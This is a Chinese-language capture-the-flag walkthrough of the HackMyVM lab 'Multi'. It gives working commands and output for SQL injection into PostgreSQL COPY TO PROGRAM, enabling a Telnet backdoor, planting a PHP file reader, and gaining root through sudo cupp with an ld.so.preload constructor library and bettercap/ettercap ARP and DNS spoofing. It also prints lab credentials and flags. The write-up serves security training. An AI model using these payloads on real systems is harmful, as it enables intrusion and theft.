跳到主要内容

HackMyVM Multi 通关记录|PostgreSQL RCE、Telnet 后门与 sudo cupp 提权

靶机链接:Multi


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Multi192.168.1.117

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现23/tcp Telnet、445/tcp SMB、28080/tcp Flask确定优先攻击面
初始突破28080 任意用户名登录 + /search SQL 注入进入数据库层
本地命令执行PostgreSQL 超级用户 + COPY TO PROGRAM获得 postgres 本地执行能力
横向到 xiao审计 custom_login/etc/default/telnet打开 Telnet 空密码后门
横向到 toddxiao 写 PHP 到 /var/www/html/pub,读 .passowrd_creds拿到 SSH 凭据
权限提升入口sudo -l 发现 NOPASSWD /usr/bin/cupp两条提权路线共用入口
权限提升路线 Asudo /usr/bin/cupp -i 本地交互写文件 + /etc/ld.so.preload获得 root
权限提升路线 Bsudo /usr/bin/cupp -l + bettercap / ettercap MITM让 root 下载器写入 /etc/ld.so.preload

0x02 侦察与信息收集 (Reconnaissance)

1. RustScan 联动 Nmap 全端口识别

按照“先 RustScan,后 Nmap”的习惯先扫端口,再做服务识别:

rustscan -a 192.168.1.117 --ulimit 5000 -- -sV -sC -oA rustscan_nmap_192.168.1.117

关键结果:

21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3
23/tcp open telnet Linux telnetd
53/tcp closed domain
80/tcp open http Apache httpd 2.4.62 ((Debian))
111/tcp open rpcbind 2-4
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
2049/tcp open nfs 3-4
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
28080/tcp open http Werkzeug/3.1.3 Python/3.9.2 - title: Admin Panel
44765/tcp open nlockmgr
46031/tcp open mountd
52887/tcp open mountd
58767/tcp open mountd

主机脚本信息:

NetBIOS name: MULTI
Workgroup: SECUREGROUP
SMB signing enabled but not required
MAC: 08:00:27:5D:E8:96 (Oracle VirtualBox)

分析:

这个靶机开放面不小,但真正值得优先看的不是 FTP/NFS,而是:

  1. 445:看匿名 SMB 有没有共享目录。
  2. 28080:明显是一个额外的 Python/Flask 管理面板。
  3. 23:Telnet 在现代主机上本身就很反常,哪怕不能直接打,也值得留意。

2. 匿名 SMB 枚举

先看匿名共享:

smbclient -L //192.168.1.117 -N

结果:

secure_share Disk
IPC$ IPC

继续查看共享内容并下载唯一可见文件:

smbclient //192.168.1.117/secure_share -N -c ls
smbclient //192.168.1.117/secure_share -N -c 'get bettercap bettercap'

结果:

bettercap 159 bytes

文件内容:

bettercap is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse engineers

分析:

这个文件当时还不能直接利用,但它像是作者留下的提示,暗示后面可能会有网络层中间人路线。先记下来,不急着深挖。


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. 28080 登录逻辑:任意用户名都能建会话

访问 28080 后,先用最简单的用户名测试登录:

curl -s -i -c /tmp/multi.cookies -X POST -d 'username=admin' http://192.168.1.117:28080/

结果:

HTTP/1.1 302 FOUND
Server: Werkzeug/3.1.3 Python/3.9.2
Location: /search
Set-Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.ahzPIA.Qec-wnS8UtIEXlHY6NTc5DD3vpY; HttpOnly; Path=/

分析:

这里只要提交一个非空用户名,就会创建 Flask session 并跳到 /search。也就是说,这里不是“弱口令”,而是根本没有密码验证。

2. /search 参数存在 SQL 注入

先用单引号试探最基础的拼接错误:

curl -s -i -b /tmp/multi.cookies -X POST --data-urlencode "keyword='" http://192.168.1.117:28080/search

返回页面中的关键报错:

Query failed: unterminated quoted string at or near "'"
LINE 1: ...ECT id, username, email FROM users WHERE username LIKE '%%'

这说明后端很可能在做这样的字符串拼接:

SELECT id, username, email FROM users WHERE username LIKE '%<keyword>%'

有了这个结论后,就可以开始做联合查询。

3. 确认数据库身份与版本

先给出完整请求格式。后面所有 SQL 注入步骤都沿用这个模式,只替换 keyword 的内容:

curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=<PAYLOAD>" http://192.168.1.117:28080/search

确认数据库身份与版本时,实际提交的完整命令是:

curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%' UNION SELECT 1,current_user,version()-- -" http://192.168.1.117:28080/search

结果:

current_user: dvuser
PostgreSQL 13.16 (Debian 13.16-0+deb11u1)

继续确认当前账号是不是高权限角色:

curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%' UNION SELECT 1,rolname,rolsuper::text FROM pg_roles-- -" http://192.168.1.117:28080/search

关键结果:

dvuser | true
postgres | true

分析:

这一步非常关键。很多人到这里还停留在“能查数据库”,但这里已经是 PostgreSQL 超级用户了。只要是 rolsuper=true,就应该立刻想到 COPY TO PROGRAM

4. 审计后端源码:为什么这里能注入

后续审计源码时,关键代码如下:

@app.route("/search", methods=["GET", "POST"])
def search():
...
if request.method == "POST":
keyword = request.form.get("keyword", "")
try:
cur = conn.cursor()
sql = f"SELECT id, username, email FROM users WHERE username LIKE '%{keyword}%'"
cur.execute(sql)
results = cur.fetchall()
conn.commit()

分析:

问题点有两个:

  1. 使用 Python f-string 直接拼接 SQL。
  2. 没有参数化查询。

因此单引号闭合后,后面的 SQL 完全可控。更糟的是,这个应用从头到尾复用了一个全局数据库连接,后面如果用长时间阻塞型 payload,还可能把应用自己拖死。

5. PostgreSQL COPY TO PROGRAM 获得本地命令执行

先用一个最短的命令执行验证:

curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pg_id';-- -" http://192.168.1.117:28080/search

然后用 pg_read_file() 把结果读回来:

curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%' UNION SELECT 1,'file',pg_read_file('/tmp/pg_id',0,200)-- -" http://192.168.1.117:28080/search

结果:

uid=112(postgres) gid=119(postgres) groups=119(postgres),112(ssl-cert)

这就说明:虽然 Web 进程是 Flask,但我们实际拿到的是数据库侧的本地执行,身份是 postgres

6. 为什么不能直接从 postgres 写 WebShell

很多人拿到命令执行第一反应就是“直接往 Web 目录丢一句话”。这里要先验证权限,不要想当然。

测试 payload:

curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%'; COPY (SELECT '') TO PROGRAM 'sh -c \"touch /var/www/html/pub/pg_touch_test 2>/tmp/pg_touch_err\"';-- -" http://192.168.1.117:28080/search

读回报错:

curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%' UNION SELECT 1,'pgtouch',pg_read_file('/tmp/pg_touch_err',0,2000)-- -" http://192.168.1.117:28080/search

结果:

touch: cannot touch '/var/www/html/pub/pg_touch_test': Permission denied

分析:

这一步很重要,因为它逼着我们换思路:

  • postgres 能执行命令;
  • postgres 不能直接写 /var/www/html/pub
  • 所以接下来应该找“从 postgres 横向到能写 Web 目录的本地用户”的路径。

0x04 本地横向:从 postgresxiao

1. 读取用户与敏感文件线索

先从 /etc/passwd 和若干敏感路径入手,确认本机有哪些值得关注的用户和文件。

从本地枚举中得到的重点用户:

xiao:x:1001:1001::/home/xiao:/bin/bash
secure_user:x:1002:1002::/home/secure_user:/bin/bash
samba_user:x:1003:1003::/home/samba_user:/bin/false
todd:x:1000:1000:,,,:/home/todd:/bin/bash
postgres:x:112:119:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

值得重点看的文件:

/opt/app.py
/var/www/html/pub/.passowrd_creds
/usr/local/bin/custom_login

其中 .passowrd_creds 先用 Web 直接访问时是 403:

curl -s -i http://192.168.1.117/pub/.passowrd_creds

结果:

HTTP/1.1 403 Forbidden

2. 23 端口表面现象:Telnet 开着,但空密码默认不通

先做网络侧验证:

nmap -p 23 -sV --script telnet-encryption,telnet-ntlm-info 192.168.1.117

结果:

23/tcp open telnet Linux telnetd
telnet server does not support encryption

手工连一次看看行为:

telnet 192.168.1.117 23

会话回显:

Trying 192.168.1.117...
Connected to 192.168.1.117.
Escape character is '^]'.
Username:
xiao
Password:
backdoor disabled
Connection closed by foreign host.

分析:

这说明 23 端口不是普通的 PAM 登录,而是有一层自定义逻辑。xiao + 空密码 这条路显然被“某个条件”控制着。

3. 审计 custom_login:真正的漏洞不在 Telnet 协议,在包装脚本

xinetd 配置:

service telnet
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
server_args = -h -L /usr/local/bin/custom_login
log_on_failure += USERID
log_type = FILE /var/log/xiao_telnet.log
}

custom_login 里的关键逻辑:

if [[ "$username" == "xiao" ]] && [[ -z "$password" ]]; then
if grep -q "ENABLE_BACKDOOR" /etc/default/telnet 2>/dev/null; then
printf "login successful\r\n"
exec /bin/login -f xiao
exit 0
else
printf "backdoor disabled\r\n"
sleep 1
exit 1
fi
fi

审计结论:

  1. xiao 是硬编码后门账号。
  2. 只要密码为空,并且 /etc/default/telnet 里出现 ENABLE_BACKDOOR,脚本就会执行 login -f xiao
  3. login -f 是强制登录,不走正常口令校验。
  4. 真正的致命点不是脚本本身,而是 /etc/default/telnet 的权限。

当时本地验证到的要点如下:

/etc/default/telnet -> 0666 root:root

也就是说,只要拿到任意本地低权限命令执行,就能打开后门。

4. 用 PostgreSQL RCE 打开 Telnet 后门

这里不需要复杂 payload,直接写标志文件即可:

curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%'; COPY (SELECT '') TO PROGRAM 'printf \"ENABLE_BACKDOOR\\n\" > /etc/default/telnet';-- -" http://192.168.1.117:28080/search

写完以后,再次用 xiao + 空密码 登录,回显就变成了:

Username: xiao
Password: <empty>
login successful

至此,我们从 postgres 成功横向到了本地普通用户 xiao

5. xiao 的历史记录也给了旁证

这部分不是主利用链必须步骤,但很适合帮助新手理解靶机设计思路。

xiao 的历史文件不是普通空文件,而是被主动处理过:

/home/xiao/.bash_history -> /dev/null
owner: root:root
mtime: 2025-07-18 11:13:29

这说明有人刻意让 xiao 的交互历史落空。

反而 postgres.bash_history 暴露了更有价值的痕迹:

cd /usr/local/bin
cat custom_login
cat /etc/default/telnet
echo 'ENABLE_BACKDOOR' > /etc/default/telnet
cd /var/www/html/
cd pub/
touch a
cd /opt
cat app.py
cd /srv
cd secure_share/

它几乎把整条利用链自己串出来了:custom_login/etc/default/telnet/var/www/html/pub/opt/app.pysecure_share


0x05 从 xiaotodd:利用 Web 目录可写与 PHP 执行

1. 确认 xiao 能写 /var/www/html/pub

xiao 会话里做一个无害探针:

cd /var/www/html/pub
printf 'WRITE_OK\n' > codex_probe.txt
printf '<?php echo "PHP_OK"; ?>\n' > codex_probe.php
ls -la codex_probe.txt codex_probe.php

结果:

-rw-r--r-- 1 xiao xiao 24 May 31 09:12 codex_probe.php
-rw-r--r-- 1 xiao xiao 9 May 31 09:12 codex_probe.txt

再从 HTTP 侧验证:

curl -s -i http://192.168.1.117/pub/codex_probe.txt
curl -s -i http://192.168.1.117/pub/codex_probe.php

结果:

/pub/codex_probe.txt -> WRITE_OK
/pub/codex_probe.php -> PHP_OK

分析:

这一步确认了两件事:

  1. xiao/var/www/html/pub 有写权限。
  2. Apache 会执行这个目录里的 PHP。

有了这两点,就不需要从 postgres 强行写 WebShell 了,直接让 xiao 落一个最小 PHP 读文件脚本即可。

2. 为什么 xiao 自己读不到 .passowrd_creds

先看权限:

$ ls -l /var/www/html/pub/.passowrd_creds
-rw------- 1 www-data www-data 19 Jul 17 2025 /var/www/html/pub/.passowrd_creds

$ cat /var/www/html/pub/.passowrd_creds
cat: /var/www/html/pub/.passowrd_creds: Permission denied

$ namei -l /var/www/html/pub/.passowrd_creds
drwxr-xr-x xiao www-data pub
-rw------- www-data www-data .passowrd_creds

分析:

xiao 只能写目录,但读不到文件本身。真正能读这个文件的是 Web 服务进程 www-data。所以要借 PHP 去“代读”。

3. 用最小 PHP 文件读取器拿到 todd 的密码

落一个最小读文件脚本:

cd /var/www/html/pub
printf '%s\n' '<?php echo file_get_contents("/var/www/html/pub/.passowrd_creds"); ?>' > cred_reader.php
ls -l cred_reader.php

结果:

-rw-r--r-- 1 xiao xiao 70 May 31 09:17 cred_reader.php

然后通过 HTTP 访问它:

curl -s http://192.168.1.117/pub/cred_reader.php

结果:

koUF5q)*RN&m0PTB&D

再用这个密码去测 SSH:

sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no todd@192.168.1.117 id

结果:

uid=1000(todd) gid=1000(todd) groups=1000(todd)

顺手做两个反例验证,避免误判成通用口令:

sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no xiao@192.168.1.117 id
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no secure_user@192.168.1.117 id

结果:

Permission denied, please try again.

结论:

.passowrd_creds 里存放的是 todd 的 SSH 密码,而不是 xiaosecure_user 的密码。


0x06 权限提升:sudo cupp 写入 ld.so.preload

1. 共同入口:sudo -l 发现 cupp

登录 todd 后先做最基础的 sudo 枚举:

sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no todd@192.168.1.117 'sudo -l'

结果:

User todd may run the following commands on Multi:
(ALL : ALL) NOPASSWD: /usr/bin/cupp

很多新手看到这里只会想到 GTFOBins,但这里真正值钱的不是“能 sudo 一个脚本”,而是这个脚本本身有文件写入缺陷。

路线 A:sudo cupp -i 本地交互写文件

1. 审计 cupp.py:输出文件名可控

先确认真实脚本位置和关键调用点:

sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no todd@192.168.1.117 'ls -l /usr/bin/cupp'
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no todd@192.168.1.117 'grep -n "def print_to_file\\|print_to_file(profile\\[\"name\"\\] + \".txt\"\\|wcfrom\\|wcto" /usr/share/cupp/cupp.py /etc/cupp.cfg'

关键结果:

/usr/bin/cupp -> ../share/cupp/cupp.py

def print_to_file(filename, unique_list_finished):
f = open(filename, "w")

print_to_file(profile["name"] + ".txt", unique_list_finished)

/etc/cupp.cfg:
wcfrom=5
wcto=12

这段代码到底说明什么?

  1. sudo /usr/bin/cupp -i 实际上是以 root 身份运行 Python 脚本。
  2. 交互模式里第一个输入项 First Name 会被当成输出文件名。
  3. 程序直接 open(filename, "w"),没有路径限制。
  4. 写进去的不是任意字节,而是程序生成出来的单词列表。
  5. cupp.cfg 把单词长度限制在 5..12,所以写入内容必须足够短。

这也是为什么这里最顺手的目标不是 authorized_keyssudoerscron,而是 /etc/ld.so.preload:它只需要一行较短的共享库路径即可。

2. 准备 .so 构造器和 SUID bash

思路是:

  1. 先复制一个 bash 出来。
  2. 编译一个共享库。
  3. 当 root 进程加载这个共享库时,构造函数把 bash 改成 root:root 并加 04755
  4. 顺手删掉 /etc/ld.so.preload,避免系统一直报错。

准备命令如下:

cp /bin/bash /tmp/bash
cat >/tmp/x.c <<'EOF'
#include <unistd.h>
#include <sys/stat.h>
__attribute__((constructor)) static void init(void){
chown("/tmp/bash", 0, 0);
chmod("/tmp/bash", 04755);
unlink("/etc/ld.so.preload");
}
EOF
gcc -fPIC -shared -o /tmp/x.so /tmp/x.c

第一次尝试用 /tmp/p.txt -> /etc/ld.so.preload 失败了。原因不是 cupp 不行,而是 Linux 默认启用了 sticky 目录下的 symlink 保护。

所以最后实际成功的做法是:

  • 共享库还放在 /tmp/x.so
  • 但符号链接改放到 todd 家目录

成功命令如下:

ln -sf /etc/ld.so.preload /home/todd/p.txt
printf '/home/todd/p\n/tmp/x.so\n\n\n\n\n\n\n\n\n\n\nn\nn\nn\nn\n' | sudo /usr/bin/cupp -i

结果:

[+] Saving dictionary to /home/todd/p.txt, counting 4 words.

这里的一行 printf 看起来丑,但它是本地验证过的最稳写法。按 cupp.py 的源码顺序展开以后,实际对应的是下面这张完整表。也就是说,这里一共按了 10 次空回车,然后又输入了 4 次 n

顺序交互项输入值
1First Name/home/todd/p
2Surname/tmp/x.so
3Nickname直接回车
4Birthdate (DDMMYYYY)直接回车
5Partners) name直接回车
6Partners) nickname直接回车
7Partners) birthdate (DDMMYYYY)直接回车
8Child's name直接回车
9Child's nickname直接回车
10Child's birthdate (DDMMYYYY)直接回车
11Pet's name直接回车
12Company name直接回车
13Do you want to add some key words about the victim?n
14Do you want to add special chars at the end of words?n
15Do you want to add some random numbers at the end of words?n
16Leet mode? (i.e. leet = 1337)n

因为第 13 个问题回答的是 n,所以不会再出现下一步的 Please enter the words, separated by comma... 提示。

因为 cupp 会自动在文件名后加 .txt,所以输入 /home/todd/p,最终实际打开的是 /home/todd/p.txt。而这个路径已经被我们提前做成了指向 /etc/ld.so.preload 的符号链接。

4. 写入结果与触发方式

这次执行以后,/etc/ld.so.preload 中出现了如下内容:

/Tmp/X.So
/Tmp/X.So_
/tmp/x.so
/tmp/x.so_

其中只有 /tmp/x.so 是有效路径,另外几行只是 cupp 生成的变体。即使有无效行,动态链接器仍然会尝试加载有效那一行。

接下来只要触发一个 root 动态程序即可。这里直接再次执行 sudo -l

sudo -l
ls -l /tmp/bash

结果:

-rwsr-xr-x 1 root root 1168776 May 31 09:22 /tmp/bash

再检查 preload 文件是否被构造器清理:

ls -l /etc/ld.so.preload 2>/dev/null || echo preload_removed

结果:

preload_removed

5. Root Shell 与两个 Flag

最后直接用 -p 保留提权身份:

/tmp/bash -p -c 'id; echo ---USER---; cat /home/xiao/user.txt; echo ---ROOT---; cat /root/root.txt'

结果:

uid=1000(todd) gid=1000(todd) euid=0(root) groups=1000(todd)
---USER---
flag{user-33b02bc15ce9557d2dd8484d58f95ac4}
---ROOT---
flag{root-922c8837565de5bd2e342c65a2e67ef9}

路线 A 结论:

cupp -i 本地写文件提权链如下:

28080 Flask 登录绕过
-> /search SQL 注入
-> PostgreSQL COPY TO PROGRAM
-> custom_login 后门审计
-> Telnet 登录 xiao
-> PHP 代读 .passowrd_creds
-> SSH 登录 todd
-> sudo cupp 任意文件写
-> /etc/ld.so.preload
-> root

路线 B:cupp -l 网络中间人提权

这条路线和前面的 cupp -i 不同:不再通过交互模式写本地词表,而是利用 cupp -l 这个 root 下载器。cupp -l 选择菜单里的 2 = afrikaans 时,会下载:

http://ftp.funet.fi/pub/unix/security/passwd/crack/dictionaries/afrikaans/afr_dbf.zip

如果通过网络中间人把 ftp.funet.fi 解析到攻击机,并让 Web 服务返回共享库路径,例如:

/home/todd/mitm_x.so

再让 todd 在当前目录提前创建:

dictionaries/afrikaans/afr_dbf.zip -> /etc/ld.so.preload

那么 root 身份运行的 cupp -l 就会把下载内容写进 /etc/ld.so.preload。后续只要触发一个 root 动态程序,就能加载我们的 .so,生成 SUID bash。

这条思路本地验证了两种实现方法:

  1. bettercap
  2. ettercap

方法 1:bettercap

前面匿名 SMB 共享里出现过一个 bettercap 提示文件,这条线后来也验证通了。

攻击机侧先确认工具和路由:

which bettercap
dpkg -l | grep -E '^ii\s+bettercap\b'
ip route get 192.168.1.117

关键结果:

/usr/bin/bettercap
ii bettercap 2.41.5-0kali1
192.168.1.117 dev eth0 src 192.168.1.113

准备伪造下载文件。目录必须匹配 cupp -l 请求的真实路径:

mkdir -p /home/kali/wp/Multi/mitm_http/pub/unix/security/passwd/crack/dictionaries/afrikaans
printf '/home/todd/mitm_x.so\n' > /home/kali/wp/Multi/mitm_http/pub/unix/security/passwd/crack/dictionaries/afrikaans/afr_dbf.zip

准备 bettercap caplet:

cat > /home/kali/wp/Multi/bettercap_ftp_funet.cap <<'EOF'
set arp.spoof.targets 192.168.1.117
set arp.spoof.fullduplex true
set dns.spoof.domains ftp.funet.fi
set dns.spoof.address 192.168.1.113
set http.server.address 0.0.0.0
set http.server.port 80
set http.server.path /home/kali/wp/Multi/mitm_http
http.server on
dns.spoof on
arp.spoof on
events.clear
EOF

启动 bettercap:

sudo bettercap -no-history -iface eth0 -caplet /home/kali/wp/Multi/bettercap_ftp_funet.cap

先验证普通 urllib 已经被劫持:

sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 'python3 - << "PY"
import socket, urllib.request
print("RESOLVED", socket.gethostbyname("ftp.funet.fi"))
print(urllib.request.urlopen("http://ftp.funet.fi/pub/unix/security/passwd/crack/dictionaries/afrikaans/afr_dbf.zip", timeout=10).read())
PY'

期望看到 ftp.funet.fi 解析到攻击机,并返回我们准备的共享库路径:

RESOLVED 192.168.1.113
b'/home/todd/mitm_x.so\n'

先做无副作用验证,把下载结果写入普通文件:

sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 'rm -rf /home/todd/mitmcheck &&
mkdir -p /home/todd/mitmcheck/dictionaries/afrikaans &&
rm -f /home/todd/mitm_result.bin &&
ln -sf /home/todd/mitm_result.bin /home/todd/mitmcheck/dictionaries/afrikaans/afr_dbf.zip &&
cd /home/todd/mitmcheck &&
printf "2\n" | sudo /usr/bin/cupp -l &&
ls -l /home/todd/mitm_result.bin &&
od -An -tx1 -c /home/todd/mitm_result.bin'

这里的 printf "2\n" 只回答 cupp -l 的唯一交互问题:

顺序交互项输入值
1Choose the section you want to download / > Enter number:2

cupp.py 的下载菜单里,2 对应:

2 afrikaans

之所以选 afrikaans,是因为它只请求单个文件 dictionaries/afrikaans/afr_dbf.zip,验证和利用都更干净。

最终利用前,先在 todd 家目录准备共享库和 SUID bash:

sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 'rm -rf /home/todd/mitmroot &&
mkdir -p /home/todd/mitmroot/dictionaries/afrikaans &&
rm -f /home/todd/mitm_bash /home/todd/mitm_x.c /home/todd/mitm_x.so &&
cp /bin/bash /home/todd/mitm_bash &&
cat > /home/todd/mitm_x.c << "EOF"
#include <unistd.h>
#include <sys/stat.h>
__attribute__((constructor)) static void init(void){
chown("/home/todd/mitm_bash", 0, 0);
chmod("/home/todd/mitm_bash", 04755);
unlink("/etc/ld.so.preload");
}
EOF
gcc -fPIC -shared -o /home/todd/mitm_x.so /home/todd/mitm_x.c &&
ln -sf /etc/ld.so.preload /home/todd/mitmroot/dictionaries/afrikaans/afr_dbf.zip &&
cd /home/todd/mitmroot &&
printf "2\n" | sudo /usr/bin/cupp -l &&
sudo -l >/dev/null 2>&1 &&
ls -l /home/todd/mitm_bash &&
ls -l /etc/ld.so.preload 2>/dev/null || echo preload_removed &&
/home/todd/mitm_bash -p -c "id; echo ---USER---; cat /home/xiao/user.txt; echo ---ROOT---; cat /root/root.txt"'

结果:

-rwsr-xr-x 1 root root 1168776 ... /home/todd/mitm_bash
preload_removed
uid=1000(todd) gid=1000(todd) euid=0(root) groups=1000(todd)
---USER---
flag{user-33b02bc15ce9557d2dd8484d58f95ac4}
---ROOT---
flag{root-922c8837565de5bd2e342c65a2e67ef9}

方法 2:ettercap

ettercap 这条线也验证过。和 bettercap 的主要区别是:它需要临时改攻击机本地的 /etc/ettercap/etter.dns

先追加 DNS 规则,并保留备份:

sudo cp /etc/ettercap/etter.dns /tmp/etter.dns.multi.bak
printf '\nftp.funet.fi AAAA :: 60\nftp.funet.fi A 192.168.1.113 60\n' | sudo tee -a /etc/ettercap/etter.dns >/dev/null
tail -n 6 /etc/ettercap/etter.dns

结果:

#ftp.funet.fi AAAA :: 60
#ftp.funet.fi A 192.168.1.113 60

ftp.funet.fi AAAA :: 60
ftp.funet.fi A 192.168.1.113 60

启动本地 HTTP 服务:

sudo python3 -m http.server 80 -d /home/kali/wp/Multi/mitm_http

启动 ettercap

sudo ettercap -T -q -i eth0 \
-M arp:remote /192.168.1.117// /192.168.1.1// \
-P dns_spoof \
-m /home/kali/wp/Multi/ettercap_dns_spoof.log

关键启动信息:

GROUP 1 : 192.168.1.117 ...
GROUP 2 : 192.168.1.1 ...
Activating dns_spoof plugin...

同样先验证普通 urllib

sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 "python3 -c \"import socket,urllib.request; print('RESOLVED',socket.gethostbyname('ftp.funet.fi')); print(urllib.request.urlopen('http://ftp.funet.fi/pub/unix/security/passwd/crack/dictionaries/afrikaans/afr_dbf.zip').read())\""

结果:

RESOLVED 192.168.1.113
b'/home/todd/mitm_x.so\n'

无副作用验证:

sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 'rm -rf /home/todd/mitmcheck_etter2;
mkdir -p /home/todd/mitmcheck_etter2/dictionaries/afrikaans;
rm -f /home/todd/mitm_result_etter2.bin;
ln -sf /home/todd/mitm_result_etter2.bin /home/todd/mitmcheck_etter2/dictionaries/afrikaans/afr_dbf.zip;
cd /home/todd/mitmcheck_etter2;
printf "2\n" | sudo /usr/bin/cupp -l >/tmp/cupp_etter2.out 2>&1;
echo RC:$?;
ls -l /home/todd/mitm_result_etter2.bin;
od -An -tx1 -N 32 /home/todd/mitm_result_etter2.bin'

结果:

RC:0
-rw-r--r-- 1 root root 21 ... /home/todd/mitm_result_etter2.bin
2f 68 6f 6d 65 2f 74 6f 64 64 2f 6d 69 74 6d 5f
78 2e 73 6f 0a

中间有一次失败也很有价值:当本地 http.serverettercap 进程退出后,cupp -l 会回退抓真实 ZIP,并把 PK... 写进 /etc/ld.so.preload。当时靶机上的典型症状是:

ERROR: ld.so: object 'PK' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.

这说明 ettercap 不是“有时可行有时不行”,而是必须保证本地 MITM 组件还活着。

最终提权:

sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 'rm -rf /home/todd/mitmroot_etter;
mkdir -p /home/todd/mitmroot_etter/dictionaries/afrikaans;
rm -f /home/todd/mitm_bash /home/todd/mitm_x.c /home/todd/mitm_x.so;
cp /bin/bash /home/todd/mitm_bash;
printf "#include <unistd.h>\n#include <sys/stat.h>\n__attribute__((constructor)) static void init(void){\n chown(\"/home/todd/mitm_bash\", 0, 0);\n chmod(\"/home/todd/mitm_bash\", 04755);\n unlink(\"/etc/ld.so.preload\");\n}\n" > /home/todd/mitm_x.c;
gcc -fPIC -shared -o /home/todd/mitm_x.so /home/todd/mitm_x.c;
ln -sf /etc/ld.so.preload /home/todd/mitmroot_etter/dictionaries/afrikaans/afr_dbf.zip;
cd /home/todd/mitmroot_etter;
printf "2\n" | sudo /usr/bin/cupp -l >/tmp/cupp_etter_root.out 2>&1;
sudo -l >/dev/null 2>&1;
ls -l /home/todd/mitm_bash;
ls -l /etc/ld.so.preload 2>/dev/null || echo preload_removed;
/home/todd/mitm_bash -p -c "id; echo ---USER---; cat /home/xiao/user.txt; echo ---ROOT---; cat /root/root.txt"'

结果:

-rwsr-xr-x 1 root root 1168776 ... /home/todd/mitm_bash
preload_removed
uid=1000(todd) gid=1000(todd) euid=0(root) groups=1000(todd)
---USER---
flag{user-33b02bc15ce9557d2dd8484d58f95ac4}
---ROOT---
flag{root-922c8837565de5bd2e342c65a2e67ef9}

攻击机侧清理:

sudo pkill -f 'python3 -m http.server 80 -d /home/kali/wp/Multi/mitm_http'
sudo pkill -f 'ettercap -T -q -i eth0 -M arp:remote /192.168.1.117// /192.168.1.1// -P dns_spoof'
sudo cp /tmp/etter.dns.multi.bak /etc/ettercap/etter.dns

0x07 最终成果 (Final Flags)

User Flag

  • 路径: /home/xiao/user.txt
  • 内容: flag{user-33b02bc15ce9557d2dd8484d58f95ac4}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-922c8837565de5bd2e342c65a2e67ef9}

凭据汇总

用户 / 服务凭据来源
Flask session任意非空用户名28080 登录逻辑只写入 session
Telnet xiao空密码custom_login 后门逻辑,需 /etc/default/telnetENABLE_BACKDOOR
SSH toddkoUF5q)*RN&m0PTB&DWeb 服务代读 /var/www/html/pub/.passowrd_creds

复盘总结

Multi 的主线不是单一 Web 漏洞,而是多个“信任边界被写穿”串在一起。

  1. 登录绕过和 SQL 注入要连着看。 这里任意用户名登录只是入口,真正危险的是 /search 里 f-string 拼接 SQL。
  2. PostgreSQL 超级用户要想到 COPY TO PROGRAM 一旦 rolsuper=true,数据库查询能力就升级成了本地命令执行能力。
  3. Telnet 的风险不只在明文协议。 这题真正危险的是 custom_login + world-writable /etc/default/telnet,协议只是入口。
  4. Web 目录可写不等于文件可读。 xiao 能写 /var/www/html/pub,但读不到 .passowrd_creds,所以要借 www-data 的 PHP 执行环境代读。
  5. sudo 脚本要看文件写入边界。 cupp 的重点不是“能运行”,而是以 root 身份把可控文件名写到 .txt,再配合符号链接写入 /etc/ld.so.preload

附件下载

为了方便复现,本文涉及的关键源码和配置文件已整理到站点静态目录:

文件说明
app.py28080 Flask 应用源码
custom_loginTelnet 登录包装脚本
telnet_xinetd.confTelnet xinetd 配置
cupp.py/usr/bin/cupp 指向的 Python 脚本
cupp.cfgcupp 词表长度等配置